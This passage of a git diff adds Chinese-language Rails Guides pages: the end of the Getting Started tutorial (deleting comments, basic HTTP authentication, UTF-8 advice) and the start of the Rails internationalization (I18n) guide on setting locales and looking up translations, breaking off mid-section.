上面的代码中第二个 render 方法的参数就是我们刚刚定义的 comments/form 局部视图。Rails 很智能,能够发现字符串中的斜线,并意识到我们想渲染 app/views/comments 文件夹中的 _form.html.erb 文件。

@article 是实例变量,因此在所有局部视图中都可以使用。

8 删除评论

博客还有一个重要功能是删除垃圾评论。为了实现这个功能,我们需要在视图中添加一个链接,并在 CommentsController 中添加 destroy 动作。

首先在 app/views/comments/_comment.html.erb 局部视图中添加删除评论的链接:

+
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.article, comment],
+               method: :delete,
+               data: { confirm: 'Are you sure?' } %>
+</p>
+
+
+
+

点击“Destroy Comment”链接后,会向 CommentsController 发起 DELETE /articles/:article_id/comments/:id 请求,这个请求将用于删除指定评论。下面在控制器(app/controllers/comments_controller.rb)中添加 destroy 动作:

+
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  def destroy
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.find(params[:id])
+    @comment.destroy
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+
+
+
+

destroy 动作首先找到指定文章,然后在 @article.comments 集合中找到指定评论,接着从数据库删除这条评论,最后重定向到显示文章的页面。

8.1 删除关联对象

如果要删除一篇文章,文章的相关评论也需要删除,否则这些评论还会占用数据库空间。在 Rails 中可以使用关联的 dependent 选项来完成这一工作。像下面这样修改 app/models/article.rb 文件中的 Article 模型:

+
+class Article < ApplicationRecord
+  has_many :comments, dependent: :destroy
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

9 安全

9.1 基本身份验证

现在如果我们把博客放在网上,任何人都能够添加、修改、删除文章或删除评论。

Rails 提供了一个非常简单的 HTTP 身份验证系统,可以很好地解决这个问题。

我们需要一种方法来禁止未认证用户访问 ArticlesController 的动作。这里我们可以使用 Rails 的 http_basic_authenticate_with 方法,通过这个方法的认证后才能访问所请求的动作。

要使用这个身份验证系统,可以在 app/controllers/articles_controller 文件中的 ArticlesController 的顶部进行指定。这里除了 indexshow 动作,其他动作都要通过身份验证才能访问,为此要像下面这样添加代码:

+
+class ArticlesController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+  def index
+    @articles = Article.all
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

同时只有通过身份验证的用户才能删除评论,为此要在 CommentsControllerapp/controllers/comments_controller.rb)中像下面这样添加代码:

+
+class CommentsController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+  def create
+    @article = Article.find(params[:article_id])
+    # ...
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

现在如果我们试着新建文章,就会看到 HTTP 基本身份验证对话框:

HTTP 基本认证对话框

此外,还可以在 Rails 中使用其他身份验证方法。在众多选择中,DeviseAuthlogic 是两个流行的 Rails 身份验证扩展。

9.2 其他安全注意事项

安全,尤其是 Web 应用的安全,是一个广泛和值得深入研究的领域。关于 Rails 应用安全的更多介绍,请参阅安全指南

10 接下来做什么?

至此,我们已经完成了第一个 Rails 应用,请在此基础上尽情修改、试验。

记住你不需要独自完成一切,在安装和运行 Rails 时如果需要帮助,请随时使用下面的资源:

+ +

11 配置问题

在 Rails 中,储存外部数据最好都使用 UTF-8 编码。虽然 Ruby 库和 Rails 通常都能将使用其他编码的外部数据转换为 UTF-8 编码,但并非总是能可靠地工作,所以最好还是确保所有的外部数据都使用 UTF-8 编码。

编码出错的最常见症状是在浏览器中出现带有问号的黑色菱形块,另一个常见症状是本该出现“ü”字符的地方出现了“ü”字符。Rails 内部采取了许多步骤来解决常见的可以自动检测和纠正的编码问题。尽管如此,如果不使用 UTF-8 编码来储存外部数据,偶尔还是会出现无法自动检测和纠正的编码问题。

下面是非 UTF-8 编码数据的两种常见来源:

+
    +
  • 文本编辑器:大多数文本编辑器(例如 TextMate)默认使用 UTF-8 编码保存文件。如果你的文本编辑器未使用 UTF-8 编码,就可能导致在模板中输入的特殊字符(例如 é)在浏览器中显示为带有问号的黑色菱形块。这个问题也会出现在 i18n 翻译文件中。大多数未默认使用 UTF-8 编码的文本编辑器(例如 Dreamweaver 的某些版本)提供了将默认编码修改为 UTF-8 的方法,别忘了进行修改。

  • +
  • 数据库:默认情况下,Rails 会把从数据库中取出的数据转换成 UTF-8 格式。尽管如此,如果数据库内部不使用 UTF-8 编码,就有可能无法保存用户输入的所有字符。例如,如果数据库内部使用 Latin-1 编码,而用户输入了俄语、希伯来语或日语字符,那么在把数据保存到数据库时就会造成数据永久丢失。因此,只要可能,就请在数据库内部使用 UTF-8 编码。

  • +
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/i18n.html b/v5.0/i18n.html new file mode 100644 index 0000000..e5c00ce --- /dev/null +++ b/v5.0/i18n.html @@ -0,0 +1,1244 @@ + + + + + + + +Rails 国际化 API — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 国际化 API

Rails(Rails 2.2 及以上版本)自带的 Ruby I18n(internationalization 的简写)gem,提供了易用、可扩展的框架,用于把应用翻译成英语之外的语言,或为应用提供多语言支持。

“国际化”(internationalization)过程通常是指,把所有字符串及本地化相关信息(例如日期或货币格式)从应用中抽取出来。“本地化”(localization)过程通常是指,翻译这些字符串并提供相关信息的本地格式。[1]

因此,在国际化 Rails 应用的过程中,我们需要:

+
    +
  • 确保 Rails 提供了 I18n 支持;

  • +
  • 把区域设置字典(locale dictionary)的位置告诉 Rails;

  • +
  • 告诉 Rails 如何设置、保存和切换区域(locale)。

  • +
+

在本地化 Rails 应用的过程中,我们可能需要完成下面三项工作:

+
    +
  • 替换或补充 Rails 的默认区域设置,例如日期和时间格式、月份名称、Active Record 模型名等;

  • +
  • 从应用中抽取字符串,并放入字典,例如视图中的闪现信息(flash message)、静态文本等;

  • +
  • 把生成的字典储存在某个地方。

  • +
+

本文介绍 Rails I18n API,并提供国际化 Rails 应用的入门教程。

读完本文后,您将学到:

+
    +
  • Rails 中 I18n 的工作原理;

  • +
  • 在 REST 式应用中正确使用 I18n 的几种方式;

  • +
  • 如何使用 I18n 翻译 Active Record 错误或 Action Mailer 电子邮件主题;

  • +
  • 用于进一步翻译应用的其他工具。

  • +
+ + + + +
+
+ +
+
+
+

Ruby I18n 框架提供了 Rails 应用国际化/本地化所需的全部必要支持。我们还可以使用各种 gem 来添加附加功能或特性。更多介绍请参阅 rails-18n gem

1 Rails 中 I18n 的工作原理

国际化是一个复杂的问题。自然语言在很多方面(例如复数规则)有所不同,要想一次性提供解决所有问题的工具很难。因此,Rails I18n API 专注于:

+
    +
  • 支持英语及类似语言

  • +
  • 易于定制和扩展,以支持其他语言

  • +
+

作为这个解决方案的一部分,Rails 框架中的每个静态字符串(例如,Active Record 数据验证信息、时间和日期格式)都已国际化。Rails 应用的本地化意味着把这些静态字符串翻译为所需语言。

1.1 I18n 库的总体架构

因此,Ruby I18n gem 分为两部分:

+
    +
  • I18n 框架的公开 API——包含公开方法的 Ruby 模块,定义 I18n 库的工作方式

  • +
  • 实现这些方法的默认后端(称为简单后端)

  • +
+

作为用户,我们应该始终只访问 I18n 模块的公开方法,但了解后端的功能也很有帮助。

我们可以把默认的简单后端替换为其他功能更强的后端,这时翻译数据可能会储存在关系数据库、GetText 字典或类似解决方案中。更多介绍请参阅 使用不同的后端

1.2 I18n 公开 API

I18n API 中最重要的两个方法是:

+
+translate # 查找文本翻译
+localize  # 把日期和时间对象转换为本地格式(本地化)
+
+
+
+

这两个方法的别名分别为 #t#l,用法如下:

+
+I18n.t 'store.title'
+I18n.l Time.now
+
+
+
+

对于下列属性,I18n API 还提供了属性读值方法和设值方法:

+
+load_path         # 自定义翻译文件的路径
+locale            # 获取或设置当前区域
+default_locale    # 获取或设置默认区域
+exception_handler # 使用其他异常处理程序
+backend           # 使用其他后端
+
+
+
+

现在,我们已经掌握了 Rails I18n API 的基本用法,从下一节开始,我们将从头开始国际化一个简单的 Rails 应用。

2 Rails 应用的国际化设置

本节介绍为 Rails 应用提供 I18n 支持的几个步骤。

2.1 配置 I18n 模块

根据“多约定,少配置”原则,Rails I18n 库提供了默认翻译字符串。如果需要不同的翻译字符串,可以直接覆盖默认值。

Rails 会把 config/locales 文件夹中的 .rb.yml 文件自动添加到翻译文件加载路径中。

这个文件夹中的 en.yml 区域设置文件包含了一个翻译字符串示例:

+
+en:
+  hello: "Hello world"
+
+
+
+

上面的代码表示,在 :en 区域设置中,键 hello 会映射到 Hello world 字符串上。在 Rails 中,字符串都以这种方式进行国际化,例如,Active Model 的数据验证信息位于 activemodel/lib/active_model/locale/en.yml 文件中,时间和日期格式位于 activesupport/lib/active_support/locale/en.yml 文件中。我们可以使用 YAML 或标准 Ruby 散列,把翻译信息储存在默认的简单后端中。

I18n 库使用英语作为默认的区域设置,例如,如果未设置为其他区域,那就使用 :en 区域来查找翻译。

经过讨论,I18n 库在选取区域设置的键时最终采取了务实的方式,也就是仅包含语言部分,例如 :en:pl,而不是传统上使用的语言和区域两部分,例如 :en-US:en-GB。很多国际化的应用都是这样做的,例如把 :cs:th:es 分别用于捷克语、泰语和西班牙语。尽管如此,在同一语系中也可能存在重要的区域差异,例如,:en-US 使用 $ 作为货币符号,而 :en-GB 使用 £ 作为货币符号。因此,如果需要,我们也可以使用传统方式,例如,在 :en-GB 字典中提供完整的 "English - United Kingdom" 区域。像 Globalize3 这样的 gem 可以实现这一功能。

Rails 会自动加载翻译文件加载路径(I18n.load_path),这是一个保存有翻译文件路径的数组。通过配置翻译文件加载路径,我们可以自定义翻译文件的目录结构和文件命名规则。

I18n 库的后端采用了延迟加载技术,相关翻译信息仅在第一次查找时加载。我们可以根据需要,随时替换默认后端。

默认的 config/application.rb 文件中有如何从其他目录添加区域设置,以及如何设置不同默认区域的说明。

+
+# 默认区域设置是 :en,config/locales/ 文件夹下的 .rb 和 .yml 翻译文件会被自动加载
+# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# config.i18n.default_locale = :de
+
+
+
+

在查找翻译文件之前,必须先指定翻译文件加载路径。应该通过初始化脚本修改默认区域设置,而不是 config/application.rb 文件:

+
+# config/initializers/locale.rb
+
+# 指定 I18n 库搜索翻译文件的路径
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# 修改默认区域设置(默认是 :en)
+I18n.default_locale = :pt
+
+
+
+

2.2 跨请求管理区域设置

除非显式设置了 I18n.locale,默认区域设置将会应用于所有翻译文件。

本地化应用有时需要支持多区域设置。此时,需要在每个请求之前设置区域,这样在请求的整个生命周期中,都会根据指定区域,对所有字符串进行翻译。

我们可以在 ApplicationController 中使用 before_action 方法设置区域:

+
+before_action :set_locale
+
+def set_locale
+  I18n.locale = params[:locale] || I18n.default_locale
+end
+
+
+
+

上面的例子说明了如何使用 URL 查询参数来设置区域。例如,对于 http://example.com/books?locale=pt 会使用葡萄牙语进行本地化,对于 http://localhost:3000?locale=de 会使用德语进行本地化。

接下来介绍区域设置的几种不同方式。

2.2.1 根据域名设置区域

第一种方式是,根据应用的域名设置区域。例如,通过 www.example.com 加载英语(或默认)区域设置,通过 www.example.es 加载西班牙语区域设置。也就是根据顶级域名设置区域。这种方式有下列优点:

+
    +
  • 区域设置成为 URL 地址显而易见的一部分

  • +
  • 用户可以直观地判断出页面所使用的语言

  • +
  • 在 Rails 中非常容易实现

  • +
  • 搜索引擎偏爱这种把不同语言内容放在不同域名上的做法

  • +
+

ApplicationController 中,我们可以进行如下配置:

+
+before_action :set_locale
+
+def set_locale
+  I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# 从顶级域名中获取区域设置,如果获取失败会返回 nil
+# 需要在 /etc/hosts 文件中添加如下设置:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+
+
+
+

我们还可以通过类似方式,根据子域名设置区域:

+
+# 从子域名中获取区域设置(例如 http://it.application.local:3000)
+# 需要在 /etc/hosts 文件中添加如下设置:
+#   127.0.0.1 gr.application.local
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+
+
+
+

要想为应用添加区域设置切换菜单,可以使用如下代码:

+
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}")
+
+
+
+

其中 APP_CONFIG[:deutsch_website_url] 的值类似 http://www.application.de

尽管这个解决方案具有上面提到的各种优点,但通过不同域名来提供不同的本地化版本(“语言版本”)有时并非我们的首选。在其他各种可选方案中,在 URL 参数(或请求路径)中包含区域设置是最常见的。

2.2.2 根据 URL 参数设置区域

区域设置(和传递)的最常见方式,是将其包含在 URL 参数中,例如,在前文第一个示例中,before_action 方法调用中的 I18n.locale = params[:locale]。此时,我们会使用 www.example.com/books?locale=jawww.example.com/ja/books 这样的网址。

和根据域名设置区域类似,这种方式具有不少优点,尤其是 REST 式的命名风格,顺应了当前的互联网潮流。不过采用这种方式所需的工作量要大一些。

从 URL 参数获取并设置区域并不难,只要把区域设置包含在 URL 中并通过请求传递即可。当然,没有人愿意在生成每个 URL 地址时显式添加区域设置,例如 link_to(books_url(/service/locale: I18n.locale))

Rails 的 ApplicationController#default_url_options 方法提供的“集中修改 URL 动态生成规则”的功能,正好可以解决这个问题:我们可以设置 url_for 及相关辅助方法的默认行为(通过覆盖 default_url_options 方法)。

我们可以在 ApplicationController 中添加下面的代码:

+
+# app/controllers/application_controller.rb
+def default_url_options
+  { locale: I18n.locale }
+end
+
+
+
+

这样,所有依赖于 url_for 的辅助方法(例如,具名路由辅助方法 root_pathroot_url,资源路由辅助方法 books_pathbooks_url 等等)都会自动在查询字符串中添加区域设置,例如:http://localhost:3001/?locale=ja

至此,我们也许已经很满意了。但是,在应用的每个 URL 地址的末尾添加区域设置,会影响 URL 地址的可读性。此外,从架构的角度看,区域设置的层级应该高于 URL 地址中除域名之外的其他组成部分,这一点也应该通过 URL 地址自身体现出来。

要想使用 http://www.example.com/en/books(加载英语区域设置)和 http://www.example.com/nl/books(加载荷兰语区域设置)这样的 URL 地址,我们可以使用前文提到的覆盖 default_url_options 方法的方式,通过 scope 方法设置路由:

+
+# config/routes.rb
+scope "/:locale" do
+  resources :books
+end
+
+
+
+

现在,当我们调用 books_path 方法时,就会得到 "/en/books"(对于默认区域设置)。像 http://localhost:3001/nl/books 这样的 URL 地址会加载荷兰语区域设置,之后调用 books_path 方法时会返回 "/nl/books"(因为区域设置发生了变化)。

由于 default_url_options 方法的返回值是根据请求分别缓存的,因此无法通过循环调用辅助方法来生成 URL 地址中的区域设置, 也就是说,无法在每次迭代中设置相应的 I18n.locale。正确的做法是,保持 I18n.locale 不变,向辅助方法显式传递 :locale 选项,或者编辑 request.original_fullpath

如果不想在路由中强制使用区域设置,我们可以使用可选的路径作用域(用括号表示),就像下面这样:

+
+# config/routes.rb
+scope "(:locale)", locale: /en|nl/ do
+  resources :books
+end
+
+
+
+

通过这种方式,访问不带区域设置的 http://localhost:3001/books URL 地址时就不会抛出 Routing Error 错误了。这样,我们就可以在不指定区域设置时,使用默认的区域设置。

当然,我们需要特别注意应用的根地址﹝通常是“主页(homepage)”或“仪表盘(dashboard)”﹞。像 root to: "books#index" 这样的不考虑区域设置的路由声明,会导致 http://localhost:3001/nl 无法正常访问。(尽管“只有一个根地址”看起来并没有错)

因此,我们可以像下面这样映射 URL 地址:

+
+# config/routes.rb
+get '/:locale' => 'dashboard#index'
+
+
+
+

需要特别注意路由的声明顺序,以避免这条路由覆盖其他路由。(我们可以把这条路由添加到 root :to 路由声明之前)

有一些 gem 可以简化路由设置,如 routing_filterrails-translate-routesroute_translator

2.2.3 根据用户偏好设置进行区域设置

支持用户身份验证的应用,可能会允许用户在界面中选择区域偏好设置。通过这种方式,用户选择的区域偏好设置会储存在数据库中,并用于处理该用户发起的请求。

+
+def set_locale
+  I18n.locale = current_user.try(:locale) || I18n.default_locale
+end
+
+
+
+
2.2.4 使用隐式区域设置

如果没有显式地为请求设置区域(例如,通过上面提到的各种方式),应用就会尝试推断出所需区域。

2.2.4.1 根据 HTTP 首部推断区域设置

Accept-Language HTTP 首部指明响应请求时使用的首选语言。浏览器根据用户的语言偏好设置设定这个 HTTP 首部,这是推断区域设置的首选方案。

下面是使用 Accept-Language HTTP 首部的一个简单实现:

+
+def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+
+private
+  def extract_locale_from_accept_language_header
+    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+  end
+
+
+
+

实际上,我们通常会使用更可靠的代码。Iain Hecker 开发的 http_accept_language 或 Ryan Tomayko 开发的 locale Rack 中间件就提供了更好的解决方案。

2.2.4.2 根据 IP 地理位置推断区域设置

我们可以通过客户端请求的 IP 地址来推断客户端所处的地理位置,进而推断其区域设置。GeoIP Lite Country 这样的服务或 geocoder 这样的 gem 就可以实现这一功能。

一般来说,这种方式远不如使用 HTTP 首部可靠,因此并不适用于大多数 Web 应用。

2.2.5 在会话或 Cookie 中储存区域设置

我们可能会认为,可以把区域设置储存在会话或 Cookie 中。但是,我们不能这样做。区域设置应该是透明的,并作为 URL 地址的一部分。这样,我们就不会打破用户的正常预期:如果我们发送一个 URL 地址给朋友,他们应该看到和我们一样的页面和内容。这就是所谓的 REST 规则。关于 REST 规则的更多介绍,请参阅 Stefan Tilkov 写的系列文章。后文将讨论这个规则的一些例外情况。

3 国际化和本地化

现在,我们已经完成了对 Rails 应用 I18n 支持的初始化,进行了区域设置,并在不同请求中应用了区域设置。

接下来,我们要通过抽象本地化相关元素,完成应用的国际化。最后,通过为这些抽象元素提供必要翻译,完成应用的本地化。

下面给出一个例子:

+
+# config/routes.rb
+Rails.application.routes.draw do
+  root to: "home#index"
+end
+
+
+
+
+
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+  before_action :set_locale
+
+  def set_locale
+    I18n.locale = params[:locale] || I18n.default_locale
+  end
+end
+
+
+
+
+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello Flash"
+  end
+end
+
+
+
+
+
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+
+
+
+

demo untranslated

3.1 抽象本地化代码

在我们的代码中有两个英文字符串("Hello Flash""Hello World"),它们在响应用户请求时显示。为了国际化这部分代码,需要用 Rails 提供的 #t 辅助方法来代替这两个字符串,同时为每个字符串选择合适的键:

+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+
+
+
+
+
+# app/views/home/index.html.erb
+<h1><%= t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+
+
+
+

现在,Rails 在渲染 index 视图时会显示错误信息,告诉我们缺少 :hello_world:hello_flash 这两个键的翻译。

demo translation missing

Rails 为视图添加了 ttranslate)辅助方法,从而避免了反复使用 I18n.t 这么长的写法。此外,t 辅助方法还能捕获缺少翻译的错误,把生成的错误信息放在 <span class="translation_missing"> 元素里。

3.2 为国际化字符串提供翻译

下面,我们把缺少的翻译添加到翻译字典文件中:

+
+# config/locales/en.yml
+en:
+  hello_world: Hello world!
+  hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+
+
+
+

因为我们没有修改 default_locale,翻译会使用 :en 区域设置,响应请求时生成的视图会显示英文字符串:

demo translated en

如果我们通过 URL 地址(http://localhost:3000?locale=pirate)把区域设置为 pirate,响应请求时生成的视图就会显示海盗黑话:

demo translated pirate

添加新的区域设置文件后,需要重启服务器。

要想把翻译储存在 SimpleStore 中,我们可以使用 YAML(.yml)或纯 Ruby(.rb)文件。大多数 Rails 开发者会优先选择 YAML。不过 YAML 有一个很大的缺点,它对空格和特殊字符非常敏感,因此有可能出现应用无法正确加载字典的情况。而 Ruby 文件如果有错误,在第一次加载时应用就会崩溃,因此我们很容易就能找出问题。(如果在使用 YAML 字典时遇到了“奇怪的问题”,可以尝试把字典的相关部分放入 Ruby 文件中。)

3.3 把变量传递给翻译

成功完成应用国际化的一个关键因素是,避免在抽象本地化代码时,对语法规则做出不正确的假设。某个区域设置的基本语法规则,在另一个区域设置中可能不成立。

下面给出一个不正确抽象的例子,其中对翻译的不同组成部分的排序进行了假设。注意,为了处理这个例子中出现的情况,Rails 提供了 number_to_currency 辅助方法。

+
+# app/views/products/show.html.erb
+<%= "#{t('currency')}#{@product.price}" %>
+
+
+
+
+
+# config/locales/en.yml
+en:
+  currency: "$"
+
+# config/locales/es.yml
+es:
+  currency: "€"
+
+
+
+

如果产品价格是 10,那么西班牙语的正确翻译是“10 €”而不是“€10”,但上面的抽象并不能正确处理这种情况。

为了创建正确的抽象,I18n gem 提供了变量插值(variable interpolation)功能,它允许我们在翻译定义(translation definition)中使用变量,并把这些变量的值传递给翻译方法。

下面给出一个正确抽象的例子:

+
+# app/views/products/show.html.erb
+<%= t('product_price', price: @product.price) %>
+
+
+
+
+
+# config/locales/en.yml
+en:
+  product_price: "$%{price}"
+
+# config/locales/es.yml
+es:
+  product_price: "%{price} €"
+
+
+
+

所有的语法和标点都由翻译定义自己决定,所以抽象可以给出正确的翻译。

defaultscope 是保留关键字,不能用作变量名。如果误用,Rails 会抛出 I18n::ReservedInterpolationKey 异常。如果没有把翻译所需的插值变量传递给 #translate 方法,Rails 会抛出 I18n::MissingInterpolationArgument 异常。

3.4 添加日期/时间格式

现在,我们要给视图添加时间戳,以便演示日期/时间的本地化功能。要想本地化时间格式,可以把时间对象传递给 I18n.l 方法或者(最好)使用 #l 辅助方法。可以通过 :format 选项指定时间格式(默认情况下使用 :default 格式)。

+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+<p><%= l Time.now, format: :short %></p>
+
+
+
+

然后在 pirate 翻译文件中添加时间格式(Rails 默认使用的英文翻译文件已经包含了时间格式):

+
+# config/locales/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+
+
+
+

得到的结果如下:

demo localized pirate

现在,我们可能需要添加一些日期/时间格式,这样 I18n 后端才能按照预期工作(至少应该为 pirate 区域设置添加日期/时间格式)。当然,很可能已经有人通过翻译 Rails 相关区域设置的默认值,完成了这些工作。GitHub 上的 rails-i18n 仓库提供了各种本地化文件的存档。把这些本地化文件放在 config/locales/ 文件夹中即可正常使用。

3.5 其他区域的变形规则

Rails 允许我们为英语之外的区域定义变形规则(例如单复数转换规则)。在 config/initializers/inflections.rb 文件中,我们可以为多个区域定义规则。这个初始化脚本包含了为英语指定附加规则的例子,我们可以参考这些例子的格式为其他区域定义规则。

3.6 本地化视图

假设应用中包含 BooksControllerindex 动作默认会渲染 app/views/books/index.html.erb 模板。如果我们在同一个文件夹中创建了包含本地化变量的 index.es.html.erb 模板,当区域设置为 :es 时,index 动作就会渲染这个模板,而当区域设置为默认区域时, index 动作会渲染通用的 index.html.erb 模板。(在 Rails 的未来版本中,本地化的这种自动化魔术,有可能被应用于 public 文件夹中的资源)

本地化视图功能很有用,例如,如果我们有大量静态内容,就可以使用本地化视图,从而避免把所有东西都放进 YAML 或 Ruby 字典里的麻烦。但要记住,一旦我们需要修改模板,就必须对每个模板文件逐一进行修改。

3.7 区域设置文件的组织

当我们使用 I18n 库自带的 SimpleStore 时,字典储存在磁盘上的纯文本文件中。对于每个区域,把应用的各部分翻译都放在一个文件中,可能会带来管理上的困难。因此,把每个区域的翻译放在多个文件中,分层进行管理是更好的选择。

例如,我们可以像下面这样组织 config/locales 文件夹:

+
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+
+
+
+

这样,我们就可以把模型和属性名同视图中的文本分离,同时还能使用“默认值”(例如日期和时间格式)。I18n 库的不同后端可以提供不同的分离方式。

Rails 默认的区域设置加载机制,无法自动加载上面例子中位于嵌套文件夹中的区域设置文件。因此,我们还需要进行显式设置:

+
+
+
+# config/application.rb
+config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+
+
+
+

4 I18n API 功能概述

现在我们已经对 I18n 库有了较好的了解,知道了如何国际化简单的 Rails 应用。在下面几个小节中,我们将更深入地了解相关功能。

这几个小节将展示使用 I18n.translate 方法以及 translate 视图辅助方法的示例(注意视图辅助方法提供的附加功能)。

所涉及的功能如下:

+
    +
  • 查找翻译

  • +
  • 把数据插入翻译中

  • +
  • 复数的翻译

  • +
  • 使用安全 HTML 翻译(只针对视图辅助方法)

  • +
  • 本地化日期、数字、货币等

  • +
+

4.1 查找翻译

4.1.1 基本查找、作用域和嵌套键

Rails 通过键来查找翻译,其中键可以是符号或字符串。这两种键是等价的,例如:

+
+I18n.t :message
+I18n.t 'message'
+
+
+
+

translate 方法接受 :scope 选项,选项的值可以包含一个或多个附加键,用于指定翻译键(translation key)的“命名空间”或作用域:

+
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+
+
+
+

上述代码会在 Active Record 错误信息中查找 :record_invalid 信息。

此外,我们还可以用点号分隔的键来指定翻译键和作用域:

+
+I18n.translate "activerecord.errors.messages.record_invalid"
+
+
+
+

因此,下列调用是等效的:

+
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', scope: :activerecord
+I18n.t :record_invalid, scope: 'activerecord.errors.messages'
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+
+
+
+
4.1.2 默认值

如果指定了 :default 选项,在缺少翻译的情况下,就会返回该选项的值:

+
+I18n.t :missing, default: 'Not here'
+# => 'Not here'
+
+
+
+

如果 :default 选项的值是符号,这个值会被当作键并被翻译。我们可以为 :default 选项指定多个值,第一个被成功翻译的键或遇到的字符串将被作为返回值。

例如,下面的代码首先尝试翻译 :missing 键,然后是 :also_missing 键。由于两次翻译都不能得到结果,最后会返回 "Not here" 字符串。

+
+I18n.t :missing, default: [:also_missing, 'Not here']
+# => 'Not here'
+
+
+
+
4.1.3 批量查找和命名空间查找

要想一次查找多个翻译,我们可以传递键的数组作为参数:

+
+I18n.t [:odd, :even], scope: 'errors.messages'
+# => ["must be odd", "must be even"]
+
+
+
+

此外,键可以转换为一组翻译的(可能是嵌套的)散列。例如,下面的代码可以生成所有 Active Record 错误信息的散列:

+
+I18n.t 'activerecord.errors.messages'
+# => {:inclusion=>"is not included in the list", :exclusion=> ... }
+
+
+
+
4.1.4 惰性查找

Rails 实现了一种在视图中查找区域设置的便捷方法。如果有下述字典:

+
+es:
+  books:
+    index:
+      title: "Título"
+
+
+
+

我们就可以像下面这样在 app/views/books/index.html.erb 模板中查找 books.index.title 的值(注意点号):

+
+<%= t '.title' %>
+
+
+
+

只有 translate 视图辅助方法支持根据片段自动补全翻译作用域的功能。

我们还可以在控制器中使用惰性查找(lazy lookup):

+
+en:
+  books:
+    create:
+      success: Book created!
+
+
+
+

用于设置闪现信息:

+
+class BooksController < ApplicationController
+  def create
+    # ...
+    redirect_to books_url, notice: t('.success')
+  end
+end
+
+
+
+

4.2 复数转换

在英语中,一个字符串只有一种单数形式和一种复数形式,例如,“1 message”和“2 messages”。其他语言(阿拉伯语日语俄语等)则具有不同的语法,有更多或更少的复数形式。因此,I18n API 提供了灵活的复数转换功能。

:count 插值变量具有特殊作用,既可以把它插入翻译,又可以用于从翻译中选择复数形式(根据 CLDR 定义的复数转换规则):

+
+I18n.backend.store_translations :en, inbox: {
+  one: 'one message',
+  other: '%{count} messages'
+}
+I18n.translate :inbox, count: 2
+# => '2 messages'
+
+I18n.translate :inbox, count: 1
+# => 'one message'
+
+
+
+

:en 区域设置的复数转换算法非常简单:

+
+entry[count == 1 ? 0 : 1]
+
+
+
+

也就是说,表示为 :one 的翻译用作单数,另一个翻译用作复数(包括 count 等于 0 的情况)。

如果查找键没能返回可转换为复数形式的散列,就会引发 I18n::InvalidPluralizationData 异常。

4.3 区域的设置和传递

区域设置可以伪全局地设置为 I18n.locale(使用 Thread.current,例如 Time.zone),也可以作为选项传递给 #translate#localize 方法。

如果我们没有传递区域设置,Rails 就会使用 I18n.locale

+
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+
+
+
+

显式传递区域设置:

+
